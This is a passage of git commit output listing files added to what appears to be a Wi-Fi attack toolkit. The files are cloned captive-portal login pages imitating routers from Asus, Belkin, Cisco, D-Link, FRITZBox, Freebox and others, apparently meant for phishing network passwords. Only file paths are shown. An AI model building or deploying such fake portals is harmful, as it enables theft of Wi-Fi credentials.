100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/hightabclickspan.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/hightabspan.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/icon_indexes.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/icon_menues.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/inputbg.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/mb.jpg create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/middown_bg.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/midup_bg.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/multiplessidstatus.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/notification.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/printstatus.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/re.jpg create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/rt.jpg create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/title_bg.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/New_ui/usbstatus.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/favicon.png create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/proceeding_img.gif create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/images/quotabar.gif create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Asus_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/array.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/button.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/contener.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/fonts.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/hardware.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/header.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/lbpopup.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/menu.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/menubouygues.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/page.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/styles.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/css/subcontener.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/aide.jpg create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_bottom.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_bottom_dbl.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_colsep.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_colsep2.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_colsep2_dbl.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_colsep_dbl.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_left_dbl.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_left_dbl2.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_right_dbl.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_right_dbl2.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_right_rowsep.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_rowsep.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/array/t2_top.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/button/desactiver_ser.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/button/wifi.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/nosubnav_gradient.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/nosubnav_left.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/nosubnav_right.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/subnav_bargrey.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/subnav_left.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/contener/subnav_right.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/frames/border.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/frames/bottomleft.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/frames/bottomright.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/frames/topleft.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/frames/topright.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/left_down.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/left_up.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/left_up3.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/logo.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/middle_up.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/middle_up1.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/right_down.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/right_up.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/header/right_up1.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/1.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/3.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/arrowrightorange.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/arrowrightwhite.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/bottom.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/bottomleft.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/bottomright.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/collapse.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/corner.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/corner_b_left.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/corner_b_right.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/corner_wifi.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/degrade_wifi_gen2.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/etoile.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/expand.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/left.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/left2.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/leftsep.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/leftsepbig.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/ligne.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/ligne0.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/ligne1.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/ligneleft.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/puce.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/right.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/right2.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/rightsep.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/sep.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/sepbig.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/top.gif create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/topleft.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/menu/topright.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/1.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/bt1.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/cccccc.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/paramBD.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/paramBG.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/paramHD.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/paramHG.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupBL.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupBM.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupBR.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupBodyL.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupBodyR.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupM.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupTL.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/popup/popupTR.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/images/timezonemap.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/LBPopup.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/control.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/dragresize.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/blank.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_close.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_loading.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_nav_left.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_nav_right.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_e.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_n.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_ne.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_nw.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_s.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_se.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_sw.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_shadow_w.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_title_left.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_title_main.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_title_over.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancy_title_right.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancybox-x.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancybox-y.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/fancybox.html create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/jquery.fancybox-1.3.1.css create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/fancybox/jquery.fancybox-1.3.1.pack.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery-1.4.1.min.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery.form.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/md5.js create mode 100644 attacks/Captive Portal/sites/Bbox_fr.portal/js/script.js create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/ayuda.htm create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/background.png create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/house.png create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/house1.png create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/index.htm create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/info.css create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/info.html create mode 100644 attacks/Captive Portal/sites/Belkin_en.portal/info2.css create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/css/main_router.css create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/img/favicon.ico create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/img/head_logo.gif create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/img/shim.gif create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/index.htm create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/bootstrap-submenu.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/common.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/detectmobilebrowser.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/general.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/jquery-1.11.0.min.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/main-include.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/js/script.asc create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/setup_top.htm create mode 100644 attacks/Captive Portal/sites/Belkin_it.portal/status.html create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/css/my_style.css create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_02.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_03-1.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_03-2.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_03.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_04.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_05.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_06.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_07.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_10.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/UI_Cisco.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/alert_minor.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/blue.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/favicon.ico create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/green.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/logo_gn.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/rtl/UI_03.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/rtl/UI_04.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/image/rtl/UI_05.gif create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/common.js create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/css/cues_taglib.css create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/css/imgfix.css create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/css/update.css create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/BT_Disabled.jpg create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/BT_Hover.jpg create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/BT_Normal.jpg create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/BT_Press.jpg create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/Cisco_Logo_RGB_67x40-black.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/NavPaneGripperT_V.gif create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/ProgressBar_indeterminate.gif create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/Status_criticalerror_icon.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/Status_information_icon.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/ToolbarMain.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/block_50.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/cisco_logo_header.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/drawerTriangleCollapsedT.gif create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/drawerTriangleOpen_Selected.png create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/favicon.ico create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/image/small_bg.jpg create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/js/common.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/js/func.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/js/position.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/lang_pack/EN.js create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/tree-asp.htm create mode 100644 attacks/Captive Portal/sites/Cisco_it.portal/upgrade-asp.htm create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/css/bootstrap-submenu.css create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/css/bootstrap.min.css create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/css/my_style.css create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/css/stylemain.css create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/advsetup.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/exclamation.gif create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/favicon.ico create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/firewall.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/logo.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/netconf.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/quicksetup.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/stats.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/img/wireless.png create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/index.htm create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap-submenu.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/common.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/detectmobilebrowser.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/general.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/jquery-1.11.0.min.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/main-include.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/js/script.asc create mode 100644 attacks/Captive Portal/sites/Digicom_it.portal/tools_update.html create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/images/Thumbs.db create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/images/bodybgcolor.gif create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/images/loading.gif create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/images/logo2.gif create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/images/style.css create mode 100644 attacks/Captive Portal/sites/Djaweb_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/browse.jpg create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/css/bsecure.css create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/css/substyle_DIR-655.css create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/img_bg_masthead_red.gif create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/img_masthead_red.gif create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/img_wireless_bottom.gif create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Dlink_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/browse.jpg create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/css/bsecure.css create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/css/substyle_DIR-655.css create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/img_bg_masthead_red.gif create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/img_masthead_red.gif create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/img_wireless_bottom.gif create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/index.html create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Dlink_ru.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/FRITZBox1_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/FRITZBox1_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/FRITZBox1_en.portal/fritzLogo.svg create mode 100644 attacks/Captive Portal/sites/FRITZBox1_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/FRITZBox1_en.portal/login_background.svg create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/bg.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/error.html create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/final.html create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/header.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/header_small.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/icon0.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/icon1.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/icon2.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/icon3.png create mode 100644 attacks/Captive Portal/sites/FRITZBox2_en.portal/index.html create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/bg.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/error.html create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/final.html create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/fritzLogo.svg create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/header.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/header_small.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/icon0.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/icon1.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/icon2.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/icon3.png create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/index.html create mode 100644 attacks/Captive Portal/sites/FRITZBox_de.portal/login_background.svg create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/css/base.css create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/css/centragescreen.css create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/css/console.css create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/css/loginpage.css create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/css/reset.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/abonnement/serviceplus_assistance.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/abonnement/serviceplus_assurance.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/abonnement/serviceplus_installation.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/abonnement/serviceplus_mcafee.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/accesrapide_bg.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assets_buttons.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assets_global.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assets_login.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assistance/icon-monsav.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assistance/icon-supportsav.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/assistance/monsav-boxtitle.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/footer_separator.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/freeid.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/globalnav.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/homewidgets/widget_epg_iconbtn.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/homewidgets/widget_epg_selectbtn.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/internet/etape_routeurconfig.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/internet/etape_wificonfig.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/login_bg.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/logofree.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/newevent.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/noisebg.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/section_icons.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/selectbtn.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/sprite_buttons.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/sprite_gradients.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/sprite_listitems.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/sprite_testdebit.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/sprite_topbar_abonne.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/submenu_titles.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/switchbtn.html create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/images/topbar.png create mode 100644 attacks/Captive Portal/sites/Freebox_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/GENENIX_de.portal/error.html create mode 100644 attacks/Captive Portal/sites/GENENIX_de.portal/final.html create mode 100644 attacks/Captive Portal/sites/GENENIX_de.portal/genexis-logo-small.jpg create mode 100644 attacks/Captive Portal/sites/GENENIX_de.portal/index.html create mode 100644 attacks/Captive Portal/sites/GENENIX_de.portal/spinner.gif create mode 100644 attacks/Captive Portal/sites/Google_de.portal/error.html create mode 100644 attacks/Captive Portal/sites/Google_de.portal/final.html create mode 100644 attacks/Captive 